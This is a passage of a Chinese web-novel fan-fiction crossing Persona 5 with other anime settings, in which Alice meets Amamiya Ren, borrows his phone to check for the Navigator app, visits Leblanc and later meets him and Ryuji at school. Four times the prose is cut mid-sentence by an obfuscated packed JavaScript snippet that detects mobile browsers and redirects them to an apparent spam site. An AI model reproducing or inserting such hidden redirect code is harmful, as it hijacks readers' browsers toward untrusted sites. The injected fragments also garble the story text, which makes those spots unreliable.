“裕也，算了算了，那个人是转校生呀，别和他扯上关系比较好……”另一个人开口安抚，他说出这句话的时候，爱丽丝感觉到拉着自己的手有一瞬间力道变大了一点。 丝毫没发现自己的谈话已经被听到了，那三人还在继续说着。 “就是传闻中的那个有前科的……？” “没错，转学第一天就迟到半天，既认识高卷，好像还和那个坂本龙司有关系，是个相当不妙的人物。” “呜哇，你和他一个班吧，真惨。” “嘁，不过是个……” 随着距离的拉远，临时饭票们的声音也渐渐远去。要是正拉着自己的人真是个危险人物，他们之后就有好果子吃了，可惜。 真是的，既不敢招惹有“故意伤害罪”前科的人，又要在人背后叽叽歪歪，也不知道到底是胆子大还是胆子小。 拯救小混混们的人有着一头自然卷的黑发，即使特意用平光眼镜遮住自己的眼神，也依旧遮不住他是帅哥的事实。 说真的，每次接触到新的重要人物的时候，爱丽丝都想感叹一句，这世界过于坚强。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053136|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多设定的摧残之下，居然还硬生生活到了现在。 想必已经有人猜到这位新出场的人物是谁了，没错，就是那个大名鼎鼎的、“P5天下第一”、RPG游戏的主人公——雨宫莲。 从刚才那几人的对话来看，雨宫莲才刚转学过来，也就是说P5的剧情才进入开始阶段。 爱丽丝扫了一眼的他的背包，那里面没装着摩尔加纳，心道难道今天是他正式去秀尽学园上学的第一天？如果她没记错，按照流程，对方第二天会和坂本龙司一起进入殿堂，第三天会遇上高卷杏，压根不可能在这个时间碰上自己。 走出车站，确认刚刚的人没有跟在他们的后面，雨宫莲松开手。他看向正在走神的爱丽丝，略有些不安地问：“你没事吧？” 他刚刚没经过同意就直接触碰身体的行为有些不礼貌，但那种情况他也做不到多问几句，毕竟面前这个女孩明显不是日本人，万一沟通出现问题就麻烦了。 “我没事。”爱丽丝摇摇头，她巴不得能再多被牵一会儿呢。 她一边调节因对方和自己说话而变得兴奋的心情，一边装作不经意地问，“你还真是不怕麻烦，为什么不像其他人那样装作没看见？” 先是因为没有交流障碍松了口气，然后又因为爱丽丝的问题想起了不愉快的回忆，雨宫莲抿了抿嘴：“我做得不对吗？” 如果能做到视而不见，他就不会被冠上“故意伤害罪”的罪名，不会被父母放弃，不会跑到东京这边寄人篱下，也不会在那个奇怪的地方觉醒奇怪的力量。 但雨宫莲始终相信自己的选择、自己的行为是正确的。 “怎么会，刚才谢谢你。”留意到雨宫莲小动作的爱丽丝扬起嘴角，向他道谢。 这声谢谢说得诚心诚意，因为她虽然少了临时饭票，但同时多了个提款机。 “……不用谢，我先走了。”如果那天也是这种结局该多好，雨宫莲垂下眼，准备离开。 “稍等一下，能再帮我一个忙吗？”爱丽丝当然不可能这么简单就放他走。 雨宫莲停下动作，问：“什么？” 爱丽丝眼睛不眨就开始撒谎：“其实我的东西都不见了，所以想请你……” “带你去警察局？”一般丢了东西就会去警察局，雨宫莲不觉得这个推测有什么问题。他猜这个外国女孩是因为对涉谷不够熟悉，所以不知道警察局在哪。 【噗。】除了被问问题和抽卡的时间外，不会轻易出声的系统第一时间发出嘲笑。 “……把手机借给我一下。”在系统的嘲笑声和雨宫莲无辜的眼神里，爱丽丝坚强地说完后半句话。 自称东西不见的人向陌生人借手机，这场景简直就像欺诈现场，虽然实际上也就是欺诈现场。 爱丽丝不确定雨宫莲会不会把手机借给自己，还在想要不要编点理由来解释自己的请求。毕竟就算人再好，也应该对陌生人抱有警惕心。 不过没等她再次开口，雨宫莲就把手机解锁递给了她。 爱丽丝接过手机，心中徒然升起一股感动之情。 和智力吊打她且不知道在想些什么的太宰治以及武力吊打她且不知道在想些什么的五条悟比起来，面前的雨宫莲简直就是天使一般的存在！ 12. 第 12 章 Unilateral 不过爱丽丝把雨宫莲的手机骗过来倒也不是想做什么坏事，只是单纯想确认一下他的手机里有没有“异世界导航”这个APP。毕竟这世界的五条悟都不按套路出牌地不当咒术师、还和那个费奥多尔扯上关系了，谁也不能保证面前的雨宫莲还是游戏里那个“命运的囚徒”对吧。 不需要花什么时间，爱丽丝一眼就看到了那个十分显眼的眼睛状的红黑色图案。有了这个，就能证明这世界的雨宫莲依旧不是普通人。 她将食指虚放在那个图标上，没有点下去，做出一副欲言又止的模样：“这个APP……” “你知道这个APP？”雨宫莲有些惊讶地问。 这个APP是昨天他到达涉谷后突然出现在手机里的，明明删过好几次，但还是保留在手机里，简直就像病毒软件。如果没有今天上午那段奇妙的经历，他肯定不会有其他想法。 真要说起来知道的应该是白银，而不是爱丽丝，但在上午的那段心里路程之后，她已经不会拘泥于那些了：“嗯，我知道。” 她抬眼看了一眼雨宫莲，诱惑似的问：“你想知道吗？” 雨宫莲诚实地点点头。 “就在这里说？”爱丽丝示意他看看周围来来往往的人。 在原作里这群人就经常在人多的地方大声讨论计划，爱丽丝可不会犯同样的错误。在这个还有异能力存在的世界里，不管怎么小心都不为过。 雨宫莲明白爱丽丝话里的意思，只是他也刚来东京不久，对周遭的地段还没怎么熟悉，也不知道有什么适合谈话的地方：“我不知道去哪里比较好。” “怎么会，你应该知道一个绝对不会被其他人听到我们聊天的地方。”爱丽丝看向雨宫莲，发现自己没办法从对方的扑克脸里猜出他的想法，于是放弃暗示，直接给出答案，“比如你家之类的？” “你一个女孩子……”怎么能随便跑到陌生男性的家里。 “别担心，”爱丽丝听出他的关心，将手机递给他，笑着说，“别看我这样，我姑且还是很强的。” 至少在现实世界的雨宫莲肯定打不过她。 兴许是她自信的神情和气场让雨宫莲相信了她，雨宫莲没有对这个发言提出质疑，关心起了另一件事：“不是说东西丢了吗？” 雨宫莲还记得自己把手机借出去的理由，所以没有第一时间拿回手机。 爱丽丝眨巴眨巴眼睛，和他静静对视了几秒，没忍住笑出声。 “你还真是个彻头彻尾的大好人。其实我根本不在意，反正里面也没有重要的东西。”毕竟又没有真的弄丢什么，唯一需要担心有没有被弄丢的可能是良心。 她直接把手机放到雨宫莲的手里：“对我而言，有趣的事更有价值一点。” “还有，虽然相信人的心是很美好，但你不该怀疑一下我在撒谎吗？” 雨宫莲确实有想过丢东西的爱丽丝表现得太过平淡，一点都没有丢了东西之后该有的焦躁感。不过他本人其实也差不多是那样，所以不好在这件事上作评价。 况且他一直在旁边看着，对方要过手机之后什么都没做就把手机还回来了，真正的骗子为什么要做出这种行为？总不可能骗他就是为了看一眼他的手机吧？ 这么思考的他告诉了爱丽丝自己的想法。 得到答案的爱丽丝有些汗颜，其实她的目的还真就是看一眼手机，只不过普通人总会受困于常识。如果对面不是雨宫莲，换成太宰治之类的人的话，她肯定不会采用这一招。 那种总喜欢多想的聪明人，绝对会对她的行为产生怀疑。 “那接下来就去你家吧。”爱丽丝催促，这种老有人路过打量他们的地方，能少呆一会就少呆一会，“劳烦你带路。” * 一如既往没有客人的卢布朗咖啡屋里，佐仓惣治郎无所事事地坐在柜台那里摆弄着手机。他听到伴随着铃铛声响起的开门声，转头向门口看去，发现是那个不让人省心的问题儿回来了。 手上的动作不停，他用不咸不淡的语气质问：“喂，学校给我打电话了，你第一天上学就出问题？” 显然已经有人通知过他今天的事了。 虽然迟到这个行为并不是出于雨宫莲本人的意志，但那种奇妙的经历就算说出来也不会有人相信。而且明明昨天才刚被嘱咐过不要惹事，今天就直接迟到半天也是事实，于是他选择老老实实道歉：“对不起。” 佐仓惣治郎对这个道歉不置可否，他对捅娄子的人可不会有好感，不过因为一些原因，他还是淡淡提醒了一句：“别再出问题了，要知道除了那里以外……”没有你的容身之处了。 后半句话在看到雨宫莲身后的爱丽丝时，被他吞了下去。 “你的客人？”他问。 “是的。”雨宫莲的手微微握紧。 自作主张就把人带回来了，也不知道老板会不会生气。说到底他只不过是借宿在这里，和老板也才认识两天而已。 “打扰了，老板。”爱丽丝对这个本质上是个好人很护犊子的咖啡店老板挺有好感的，她礼貌的打了声招呼。 而且说不定以后还会再来，初次见面留一个好印象比较好。 佐仓惣治郎叹了口气，没有为难雨宫莲，而是朝他挥挥手，示意他赶紧上楼：“既然邀请了客人，就给我好好招待。” 雨宫莲点点头，带着爱丽丝朝楼上走去。 佐仓惣治郎听着两人上楼的脚步声，又想起之前接到的学校的电话。 还以为迟到半天是去做什么了，结果是跑去勾搭女孩子了吗？ 真是人不可貌相，居然在这么短的时间内就勾搭上了这么一个漂亮的女孩子，而且还是外国血统。该说是手段不错吗，还是后生可畏吗…… “现在的年轻人可真厉害。”他小声嘀咕了一句。 他倒不担心那个女孩被骗，年纪大了还是有点识人能力的。 位于二楼的雨宫莲还不知道自己在佐仓惣治郎心中的形象发生了怎样的变化，他此时有些烦恼。即使昨天他用心收拾过，也改变不了这房间简陋寒酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053137|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事实，屋里也根本没什么能用来招待客人的东西。 不过爱丽丝本来就知道这点，从一开始就没对此报有期待。至少屋子挺干净的，她一点都不在意，直接坐在沙发上。 雨宫莲见状，便也恢复了平常心。 “关于那个APP，你知道多少？”爱丽丝开门见山。从刚刚佐仓惣治郎的话里她得知了现在的时间点，但保险起见还是要确认一下。 没有什么好隐瞒的，雨宫莲注视着手机上的图标回答：“昨天出现在我的手机里，删不掉。” “但你应该已经用过了吧？”虽然是在问，但爱丽丝的口气十分肯定。 “不……”雨宫莲开口就想否认，他并没有自己使用过这个来历不明的APP的印象。 “别急着否认，打开它看看。” 雨宫莲依言打开APP，使用履历清清楚楚映入他眼帘，在搜索栏的历史记录里躺着“鸭志田”“秀尽学园”“城堡”三个关键词。 “今天上学出问题？”重复了一下刚刚在楼下佐仓惣治郎的质问，爱丽丝意有所指地问，“是因为你跑到那个世界去了吧？” 上午那神奇的经历一下子浮现在雨宫莲的脑海中。 本应是学校的地方变成了城堡，打扮奇怪的体育老师，像是在游戏里一般出现的怪物，以及突然觉醒的奇怪力量。 虽然今天和他一起经历过那些的坂本龙司自欺欺人地说那只是在做梦，但实际上那段经历究竟算什么呢？ 他想知道。 “那个世界到底是……” 面对这个疑问，爱丽丝笑而不语。她不是不能直接告诉雨宫莲答案，只是总觉得这样做有点对不起摩尔加纳。本身失去记忆就够惨了，还是不要让他连工作都一并失去了。 “那个APP，使用的时候要注意一点。”爱丽丝把话题又拐回到APP的身上，“它会把你周围的人一起卷进去，最好是在没人的地方用。” 如此明显的转移话题，雨宫莲当然注意到了。但因为他理解到爱丽丝不想回答这个问题，所以没有继续追问。 “去过那边的你肯定能理解其中的危险性，你也不想让无关的人遇到生命危险吧？” 所以之后用的时候一定要记得选没人的地方，不要再傻乎乎地在路中间进入殿堂，还被人拍照录像了。一想到游戏里的那段情节，她就头大。 爱丽丝的提醒让雨宫莲想到当时和他在一起的坂本龙司。 原来是因为自己的缘故才让对方遭遇了那种危险，幸好那个时候他没有选择独自逃走，不然他一定会后悔一辈子。 其实说到底如果坂本龙司没有在场，那个时候导航根本就不会启动。如果真要算责任，坂本龙司自己也得承担一份。 “你也有这个APP？”他问，不然无法解释为什么能对其这么了解。 “没有哦。”爱丽丝回答。现在的她就连手机都没有，怎么可能会有APP。当然这种事不能直接说出来，“好歹是被选中的人的证明，没有那么烂大街。” 13. 第 13 章 那为什么会这么了解这个APP？ 雨宫莲犹豫了一下，最后还是没问出这个问题，而是换了一个问题：“被选中……被谁？” “这个嘛……”有些意外他会在意这个，爱丽丝权衡了一下，最终给出一个比较暧昧的答案，“神明……之类的？” “……”雨宫莲一时拿不准对方是不是在敷衍自己。明明如果不想回答，像刚刚那样转移话题就好，不过那个态度，又不怎么像是敷衍了事的样子。 爱丽丝觉得时机差不多了，决定提出自己在看到APP时就想到的事：“雨宫，下次你去那个世界的时候，可以带上我吗？” 在回来的途中他们就交换了名字。真说起来她其实更想直呼其名，可惜目前他们的关系还没有亲近到那种程度。这种时候就很羡慕坂本龙司那种自来熟的性格了，直接叫“莲莲”什么的…… 想去认知世界的理由很简单，既可以多和雨宫莲相处，又能满足自己的好奇心和探知欲，何乐而不为。 她挺想知道在这个世界妖怪的强度怎么样，正好可以用“阴影”练练手，免得等遇到要和异能力者或者咒术师敌对的情况时，下手不知轻重。 “你刚刚才说过那边很危险。”雨宫莲的第一反应是担心她的安危。 真是服了，世界上为什么会有性格这么好的人？ 爱丽丝摊手：“我也说了我很强的吧？” 确实，比起自己，对方显然对于APP和那个世界的事更加熟悉，刚刚还提醒过自己，应该不会做一些无谋的事。这么想的雨宫莲最终答应了爱丽丝的请求。 “那就这么定了，明天我再来找你。”一想到马上就能亲自体验一番认知世界，爱丽丝就有些小兴奋。她趁着这个兴头，多提醒了一句雨宫莲：“你可得小心点，说谎的家伙鼻子会变长哦。” 她自觉这个提示过于隐晦，雨宫莲多半不会懂，所以提一嘴就罢了：“那么，明天见。” “啊？嗯，再见。”因为爱丽丝突然说起莫名其妙的话陷入懵逼的雨宫莲懵逼地和她道别，甚至没反应过来自己这时候应该送一送人。 爱丽丝下楼时佐仓惣治郎还没有离开，他看到独自下楼的爱丽丝，问到：“怎么，已经要回去了吗？” 明明之前还觉得现在的年轻人人不可貌相，结果现在居然让女孩子一个人离开，那小子到底是行还是不行啊？ “是的，毕竟已经是这个时间了，可不能打扰他学习。”爱丽丝随便找了个理由回复。 要是有理由继续待在这里她倒是想接着待下去，只不过今天本来就是借着APP的缘故跑过来的，事情做完了自然不好继续赖在这里。 佐仓惣治郎哈哈应了两声，心里却是在怀疑楼上那个到底有没有学习的心思。 “今天该回去了，下次如果有机会，务必让我尝尝老板的手艺。”这道别既是场面话，同时也是爱丽丝内心的想法。那可是游戏里让很多人赞不绝口的咖啡和咖喱，她觉得自己期待一下也是可以的。 “是吗，”这类话挺能让手艺人高兴，佐仓惣治郎笑呵呵地回复，“那我可就期待你下次光临了。” 再次向老板道别后，爱丽丝离开了卢布朗，左拐右拐拐进了一条无人小巷。托玩了几周目游戏的福，她对附近的路线不是一般的熟悉。 【要回去了？】见她特意走到没人的地方，以为她是想回隙间之里的系统开口问，并做好打开隙间的准备。 【不，我稍微加个班。】 但爱丽丝否定了，她确认完周围不会有人看到，也没有摄像头一类的东西，飞上了天。众所周知，幻想乡的居民会飞是常识，不过算起来这还是她第一次主动飞行。 稳稳当当停在空中，爱丽丝俯视下方，寻找着自己的目标。 在和雨宫莲到卢布朗的路上，她确认了一件事，那就是对方目前还看不到诅咒。之所以说目前，是因为她判断，一旦对方认知到诅咒的存在，对方就能自然而然看到诅咒。就像他们在认知世界听到摩尔加纳说话后，回到这边来也能听懂一样。 看不见诅咒这件事有好有坏，因为诅咒对视线很敏感，“看得见不能自保”有时候可能比“看不见”要更加危险。当然，如果遇到级别高的诅咒，不管看不看得见，都会是生命危机。所以在雨宫莲还不知道诅咒的现在，至少让她先把可能造成威胁的诅咒给处理掉。虽然可能性很小，但万一雨宫莲要是出了点什么事，她都不知道该找谁哭去。 看好方向，她迅速朝那边飞去。 “嗯，差不多也就这样吧。”看着面前的诅咒惨叫着消失，爱丽丝收回人偶，“感觉比想象中的弱好多，是因为等级不够高吗？” 她短时间内就将周围的诅咒全部一扫而空，不能说轻而易举，只能说毫无手感。 【回去了？】见爱丽丝处理完这只，也没有继续寻找下一只诅咒的迹象，系统再次询问。 “是啊，已经晚上了，回去把今天的……”回答到一半，爱丽丝眼角余光发现有什么白色的东西一闪而过。 她立即转过头，却没察觉到任何异常，也没感受到诅咒的气息。 【怎么了？】 “刚才好像看到什么东西跑过去了，不过这个时间点，多半是猫之类的。”爱丽丝回头就将这个小插曲抛至脑后，她轻声说，“回去吧。” * 夜深人静，正是好梦之时。可惜雨宫莲没有那样的好运，他的眉头紧皱，似乎睡得极不安稳。 睁开眼发现自己又穿着囚服躺在牢房里，雨宫莲挣扎着起身。他想起自己昨晚也做了同样的梦，但昨天梦里的人告诉他，这里不是梦，而是梦与现实、精神与物质的间隙，天鹅绒房间。 因为不理解，所以他仍然把这当作了一个梦，不过以连续两天的经历看来，也许他应该相信那个人的解释。 正想着，那个自称房间主人伊戈尔的长鼻子老人就开口了：“看来你总算觉醒了，这下终于可以开始更生了。” 雨宫莲向牢门走去，步伐因手上那不习惯的锁链的重量而显得有些踉跄。他两手抓住铁栏，盯着伊戈尔，一字一句地重复到：“更、生……？” 伊戈尔有一只十分具有特色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053138|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长鼻子，就外表看上去和人类相去甚远，虽然有些不合时宜，但这让他又想起晚上爱丽丝道别前说的那句话。 爱丽丝走后他还思考了一会那句话到底是什么意思，但终究是没能得出结论。 “没什么，你迟早会知道的。”伊戈尔两手撑着下巴，不在乎地说，“如何，对‘异世界导航’这个APP还满意吗？” “那是我赐予你的东西。” 雨宫莲睁大眼睛。 才过去几个小时，他当然不可能忘记爱丽丝说过那个APP是被选中的人的证明，以及之后对他疑问的回答。 也就是说，如果他按照字面意义上来理解，那现在这个坐在房间中央的人，是类似于“神明”之类的存在？虽然他知道对方身份不普通，但没想到…… “你应该对主人的好心致以感谢。”守在牢门左侧的双子之一，芮丝汀娜用冷淡的声线陈诉道。 好像把这件事透露给雨宫莲就已经满足了的模样，伊戈尔用一种奇妙的语气提起另外一件事：“不过……你居然能和世界之外的存在产生联系，就算是我都不由得有些小小的惊讶。” 雨宫莲木然，他的表情虽然没有太大的变化，但整个人散发着“不知道你在说什么”的气场。 于是伊戈尔愉快地多说了一句：“你今天遇到了吧，这世界本不存在的东西。” “什么意思……？”雨宫莲不解，要说他今天遇到了什么，除了上午的城堡之外，就只剩下爱丽丝了。 “连这种事都想不明白吗，囚犯！”牢门右侧的卡罗琳娜不耐烦地用警棍敲了一下门，左侧的芮丝汀娜则亲切地给出答案，“也就是说你今天遇到的那个不是人类。” 没等雨宫莲做出反应，他的视线开始变得昏暗，意识也逐渐远去。 在彻底失去意识之前，伊戈尔充满兴致的话语传进了他的耳朵：“加油哦，我很期待接下来的发展。” 翌日。 不管是经历了奇妙的事件，还是认识了神奇的家伙，身为学生的雨宫莲都得老老实实去上学。所幸今天的上学路还算顺利，没有再出什么岔子。 教室里的氛围要比昨天奇怪得多。周围的人时不时会用有些蔑视或者害怕的目光扫向自己，而一旦四目相对，又会立马移开视线。也有人在背后嘀嘀咕咕，待他看过去，却又一副无事发生的样子。 雨宫莲不是笨蛋，隐隐约约猜到了造成这个现状的原因。 果不其然，午休时间，他被班主任的川上贞代给叫了出去。 “话说在前头，把你的事说出去的人可不是我。”川上贞代靠在墙边，露出一副疲惫的表情，“饶了我吧，为什么总是我碰上这种事。” 雨宫莲沉默不语。他不想思考是谁在到处宣扬关于自己的事，也不想知道为何自己会被如此针对。在那件事发生之后，他已经认识到人性丑恶的一面，也接受过不少无谓的恶意。 “还有，那个坂本君。”川上贞代显然不想在这件事上多谈，像是想要快点结束谈话一样开启下一个话题，“别和他扯上关系，他可是个问题学生。” 14. 第 14 章 听到自己刚认识的人的名字从班主任嘴里跑出来，雨宫莲的表情变得稍微认真了一点。可惜川上贞代显然没有为他详细讲述的想法，兴许是抱着赶快完成任务交差的心态，草草提了一两句就完事。 只说某件事改变了坂本龙司，却又不说具体的前因后果，这种容易勾起人好奇心的说法并不怎么高明。所幸雨宫莲不是那种喜欢窥探别人过去的性格，既然川上贞代不说，他就当自己没听到过。 恰好这个时候，被提及的人找了过来。 川上贞代和坂本龙司就这样在雨宫莲面前一来一回地对起了话，一个不走心地指责两句，另一个则毫无诚意地道了歉。最后前者再次提醒他不要和对方扯上关系，后者告诉他会在屋顶等他。 看着各自离去的两人，雨宫莲在原地思考了一下，最终选择前往屋顶。 比起语焉不详、看上去毫无干劲的川上贞代，显然是和自己经历过相同事件的坂本龙司这边要更重要一点。 虽说川上贞代以对方是问题学生为理由警告自己，但实际上，明明刚来学校不久坏名声就已经被传遍的自己，在他人眼中不也是个彻彻底底的问题学生么。同为问题学生的两人相处，也没什么好奇怪的吧。 “你那些不好的名声已经不胫而走了对吧？”屋顶，坂本龙司递给雨宫莲一罐早已备好的汽水，看来是对他前来赴约相当有信心，他单刀直入，“那一定是鸭志田干的好事。” 雨宫莲接过汽水，心里其实对这突如其来的话题有些茫然。他们才认识不过一天，为什么对方会一副为自己鸣不平的态度？ 但很快他就明白了那情绪的来源，是坂本龙司因为自己的遭遇而产生的共鸣。 “和我那时候一样，你已经被鸭志田盯上了。”坂本龙司的语气带着怒火，每次想起曾经发生在自己身上的事，他的情绪就会变得不稳定。 他看了一眼雨宫莲。和自己同样被鸭志田盯上，经历过相同的奇异事件，甚至还救过自己，这样的人应该可以算作同伴吧？ 他沉默了一下，有些不安地接着说：“然后，我现在有一个假设。” “你是指那个城堡的事？”雨宫莲若有所思。 他对鸭志田卓将自己的信息到处宣扬这个猜想没有什么特别的感想。先不论这个猜想正确与否，来这所学校之前，他本来早就做好自己被孤立的准备了。 被贴上的标签是没有那么简单就能撕下的。 从某种程度上来讲，也许从一开始就被孤立，要比明明之前相处得还算不错，但得知这件事后态度发生变化更容易接受一点。 不过眼前的坂本龙司显然不同，看上去他对于鸭志田卓的愤怒已经快要达到界限了。多半是因为之前就发生过什么事情，昨天又被那样对待，现在新仇旧恨全部叠在一起。 见雨宫莲如此上道，坂本龙司稍微放松了一点：“对，虽然我还没完全搞清楚，但我总感觉那座城堡里，有能帮助我们扳倒鸭志田的东西。” 这真的只是一种单纯的直觉，因为他昨天虽然苦恼了一整天，却也始终弄不明白那个城堡到底是怎么回事。 即使他根本不知道该怎么去到那座城堡，他也觉得自己应该再去一趟。所以他才像这样，找上和自己一起去过那里、并且还使用了奇怪力量的雨宫莲商量，想着对方说不定对此会有什么头绪。 “但是那边不是很危险吗？”就像昨天爱丽丝提醒的那样，正因为他们已经去过那边一次，才更能明白其中的危险性。 “啊，当时我差点被杀也是事实，就算是我其实也不想再去那种地方。”坂本龙司皱着眉头，如果那时雨宫莲没有出手，可能他人已经没了。那种糟糕的体验，说实话他根本不想再来一次，但是…… “但是，我没有其他办法了，如果什么都不做，迟早会完蛋。”他空着的手握成拳头，另一只手里的罐头也被压得变形，“还不如干脆赌一把，即使要拼上性命。” 就像是已经走投无路的人，哪怕知道面前可以拯救自己的人其实是恶魔，也会忍不住伸出手那样。就算会遭遇生命危险，就算堵上自己的一切，也要反抗、推翻鸭志田卓，雨宫莲感受到了对方这样的觉悟。 他静静地看着坂本龙司。虽然不知道对方和鸭志田卓之间到底发生了些什么，但能让人下这种决心，多半是经历了相当惨痛的、不想回忆的过去。 要怎么回答呢？ 他现在已经知道了“异世界导航”，把坂本龙司带到那边不是难事。同样，对坂本龙司撒个谎，说自己不清楚去那个世界的方法，也很简单。 “我明白了，去吧。”终归还是想要帮助他人，雨宫莲如此回答。 虽然对那个世界能不能实现坂本龙司的愿望一事并没有把握，但不行动的话就一定不会有转机，而且还有和爱丽丝的约定在。 “真的吗？！”坂本龙司有些欣喜，他对自己提议的莽撞程度还算有点分寸，没想到居然能这么顺利的得到同意。 雨宫莲打开手机，把那个APP展示给了坂本龙司。 “这是什么？”坂本龙司疑惑，为什么这种时候要给自己看一个图标奇怪的手机应用？ “异世界导航。”雨宫莲说出它的名字。 没等坂本龙司详细追问，昭告着午休时间结束的铃声响起。 坂本龙司咋了下舌，起身对雨宫莲说：“放学后再集合，可别先跑掉啊！” 雨宫莲点头，两人一前一后地离开楼顶。 回到教室，在和上午相同的氛围中度过下午的授课后，两人再度在教室外集合。坂本龙司早早地就收拾好东西，等在了楼梯口，大约还是有点担心雨宫莲一个人独自走掉。 周围来来往往都是学生，人多眼杂，不适合聊他们想谈的话题，于是两个人心照不宣地朝出学校的方向走去。在走到快到玄关的位置时，几个学生的讨论声进入他们耳朵。 “学校门口有个超漂亮的女孩子，你们看到了吗？”男学生以一种兴奋的语气问自己身边的同伴。 坂本龙司稍微将注意力移向了那个方向，谁还不是个男子高中生了，对美少女感兴趣是人之常情嘛。 “看到了看到了，我还是第一次亲眼见到那种美少女耶，像在做梦一样。”其中一名同伴附和到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053139|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让和高卷杏同一所学校的这些家伙说出这种话，估计对方的水准相当的高，看来有必要让身为鉴定家的自己出马了。坂本龙司的嘴角忍不住上扬。 有个人发出了仿佛沉浸在美梦中一般略微下流的笑声：“好像是在等人的样子，要不要趁这个机会去搭个讪呢～” “算了吧，浑身散发着生人勿进的气场哦，而且怎么看都是外国人，你那英语水平就别去丢人现眼了～”几人愉快地打闹在一起。 雨宫莲默默地加快了脚步。这些描述，刚好和他昨天才认识的那个人相吻合，他不觉得短时间内就能遇到第二个这样的人。 对方确实有说今天会来找自己，他原本还在猜会到哪里来找，结果居然是学校，是通过校服找过来的？ 不管怎么说，让人一直等在校门口也太不礼貌了，还是快点过去比较好。 坂本龙司不清楚内情，误解了雨宫莲加快的步伐。他贼笑了一下，转校生看起来一脸禁欲的样子，其实是闷骚色狼的类型？ 但很快他就发现，小丑竟是他自己。 站在校门口的女孩确实是个不折不扣的美少女，单看外貌，那脸比高卷杏还要精致几分，不过就身材而言，显然是高卷杏更胜一筹。 正如刚才听到的议论，她整个人散发着生人勿进的气场，多亏如此，没有人敢上前和她搭话。就连要从她身旁经过离开学校这件事，都让人有些迟疑。 坂本龙司吹了个口哨，表示自己大饱眼福。 察觉到走在他旁边的雨宫莲再次加快了步伐，他上一秒还在心里感慨这家伙真有勇气，下一秒就看到校门口的女生仿佛察觉到什么一般，朝他们的方向看来。 然后，露出了笑容。 “下午好，雨宫。”爱丽丝向雨宫莲打起招呼。 哇哦—— 在羡慕嫉妒恨之前，坂本龙司心里涌起的是八卦的念头。要不是现在周围的人都在用打探的视线看过来，他可能就直接勾住雨宫莲的脖子，进行一些男生间的亲切交流了。 “下午好，爱丽丝小姐。”雨宫莲心态良好，礼貌地回应道。 “叫我爱丽丝就行。” 啊，果然，这才是16岁的人该有的样子嘛，真希望隔壁横滨的某些人能学学。 “旁边那个是你的朋友？”爱丽丝明知故问。 “你，你好。”坂本龙司有些不自在地对爱丽丝打了声招呼，不仅仅是因为爱丽丝注意到了自己，还有四周的人视线的缘故。 “……”爱丽丝的视线在两人身上来回移动，总觉得比起原剧情，他们的关系发展得要更快，是错觉吗？ “我知道了，先去其他地方吧。”总之，要想讨论接下来的话题，他们就得先换个地方。爱丽丝转身，示意他们跟上。 雨宫莲舒了口气，带着坂本龙司走在爱丽丝的身后。 他答应了要带爱丽丝去那边，也答应了要带坂本龙司去那边，但双方并不知道彼此的存在。所以他刚才还有些担心，万一有谁提出问题，他也不好在学校门口说明详细情况。 好在他担心的情况并没有发生。 15. 第 15 章 走在爱丽丝身后，坂本龙司用胳膊捅了捅身旁的雨宫莲，小声地开口询问：“喂，她是……？” 虽然以他们之间的距离，不管怎么压低音量，对话都逃不过爱丽丝的耳朵，但她还是假装自己什么都听不到。 “她叫爱丽丝。”雨宫莲将身子往坂本龙司的方向倾了一点，同样小声地回答。 这是当自己的傻子吗？坂本龙司不雅地翻了个白眼，用恨铁不成钢的语气说：“这个我知道，刚刚听到你们打招呼了。我是在问你和她是什么关系！” 要是雨宫莲真回答是男女朋友关系，他就立马找个借口开溜。他还不至于不识趣到打扰小情侣的约会，鸭志田卓的事情可以等两人约完会再聊。 “昨天刚认识的……” 雨宫莲的回答出乎他的意料。两人既不是男女朋友，也不是朋友，甚至连熟人都算不上。 “哈？！昨天刚认识的女孩子今天就特意跑到学校来找你？！”坂本龙司没忍住，稍微抬高了音量。但很快就在雨宫莲无语的表情里反应过来，他悄悄往爱丽丝的方向瞧了一眼，见对方没有特别的反应，松了口气。 